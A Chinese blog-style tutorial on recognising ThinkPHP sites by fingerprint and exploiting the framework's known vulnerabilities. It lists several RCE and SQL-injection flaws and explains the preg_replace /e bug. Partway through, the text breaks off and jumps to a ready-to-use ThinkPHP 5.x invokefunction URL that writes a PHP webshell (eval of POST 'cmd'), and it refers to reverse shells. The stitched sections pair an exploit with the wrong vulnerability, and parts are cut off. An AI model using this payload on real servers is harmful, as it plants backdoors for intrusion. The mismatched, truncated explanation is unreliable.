从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具

2024-06-04 4959阅读

上一篇spring反响不错,今天更新thinkphp全漏洞

spring

麋鹿,公众号:麋鹿安全从0认识+识别+掌握spring全漏洞(1.8w字超详细看完拿捏spring)文末带工具

还是按照之前的文章结构

文章目录

框架介绍何为thinkphp,在哪会遇到thinkphp
识别spring如何在实战中快速分辨thinkphp框架
漏洞列表thinkphp漏洞全版本
漏洞环境搭建vulhub+vulfocus(见上一篇spring)
漏洞复现1.如何识别当前站点是否存在漏洞
2.哪些版本(情况)存在该漏洞
3.漏洞指纹特征⭐
4.如何复现
5.如何实现自动化
工具1.指纹识别工具

2.综合利用工具

零-thinkphp的前世今生

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

  ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,ThinkPHP框架本身没有什么特别模块要求,具体的应用系统运行环境要求视开发所涉及的模块。

  作为一个整体开发解决方案,ThinkPHP能够解决应用开发中的大多数需要,因为其自身包含了底层架构、兼容处理、基类库、数据库访问层、模板引擎、缓存机制、插件机制、角色认证、表单处理等常用的组件,并且对于跨版本、跨平台和跨数据库移植都比较方便。并且每个组件都是精心设计和完善的,应用开发过程仅仅需要关注业务逻辑。

总结一下:国人开发的框架,上手简单,开发成本低,搭建容易

所以,tp框架常见于一些违法网站上面

tp版本信息

从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具 第1张

文档中心 · ThinkPHP    这是tp的官方文档,包含了框架一些基本知识,一些必要的知识我会在复现过程中一一讲解,不过还是建议自己去看一下文档

一-识别tp框架(指纹)

1.1 ioc判断

/favicon.ico

从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具 第2张

1.2报错

从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具 第3张

从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具 第4张

1.3错误传参

从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具 第5张

从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具 第6张

1.4特殊指纹出现logo

/?c=4e5e5d7364f443e28fbf0d3ae744a59a

从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具 第7张

/4e5e5d7364f443e28fbf0d3ae744a59a

从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具 第8张

p3.1和3.2版本

4e5e5d7364f443e28fbf0d3ae744a59a-index.html

1.5 body特征

body里有"十年磨一剑" 或者"ThinkPHP"

1.6插件

从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具 第9张

二-漏洞列表

ThinkPHP 2.x 任意代码执行漏洞

ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞(5-rce)

ThinkPHP5 SQL注入漏洞 & 敏感信息泄露

ThinkPHP 5.0.23 远程代码执行漏洞

ThinkPHP3.2.x RCE
thinkphp lang 命令执行

ThinkPHP 2.x 任意代码执行漏洞

1 漏洞原理

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\1\']="\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

什么是preg_replace 函数

这个函数是个替换函数,而且支持正则,使用方式如下:

preg_replace('正则规则','替换字符','目标字符')

这个函数的3个参数,结合起来的意思是:如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。

下面是搜索到的关于/e的解释:

e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;  
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。
任何使用  举例
进行编码然后拼接 
http://192.168.233.131:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=milu.php&vars[1][]=%3C%3Fphp%20phpinfo()%3B%20eval(%40%24_POST[%27cmd%27])%3B%20%3F%3E

从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具 第10张

访问milu.php

从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具 第11张

后面反弹shell这些和前面一样

从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具 第12张

ThinkPHP5 SQL注入漏洞 & 敏感信息泄露

1 漏洞原理

传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。

这里具体讲一下漏洞产生的过程吧

漏洞附近代码如下


    免责声明:我们致力于保护作者版权,注重分享,被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理! 部分文章是来自自研大数据AI进行生成,内容摘自(百度百科,百度知道,头条百科,中国民法典,刑法,牛津词典,新华词典,汉语词典,国家院校,科普平台)等数据,内容仅供学习参考,不准确地方联系删除处理! 图片声明:本站部分配图来自人工智能系统AI生成,觅知网授权图片,PxHere摄影无版权图库和百度,360,搜狗等多加搜索引擎自动关键词搜索配图,如有侵权的图片,请第一时间联系我们,邮箱:ciyunidc@ciyunshuju.com。本站只作为美观性配图使用,无任何非法侵犯第三方意图,一切解释权归图片著作权方,本站不承担任何责任。如有恶意碰瓷者,必当奉陪到底严惩不贷!

    目录[+]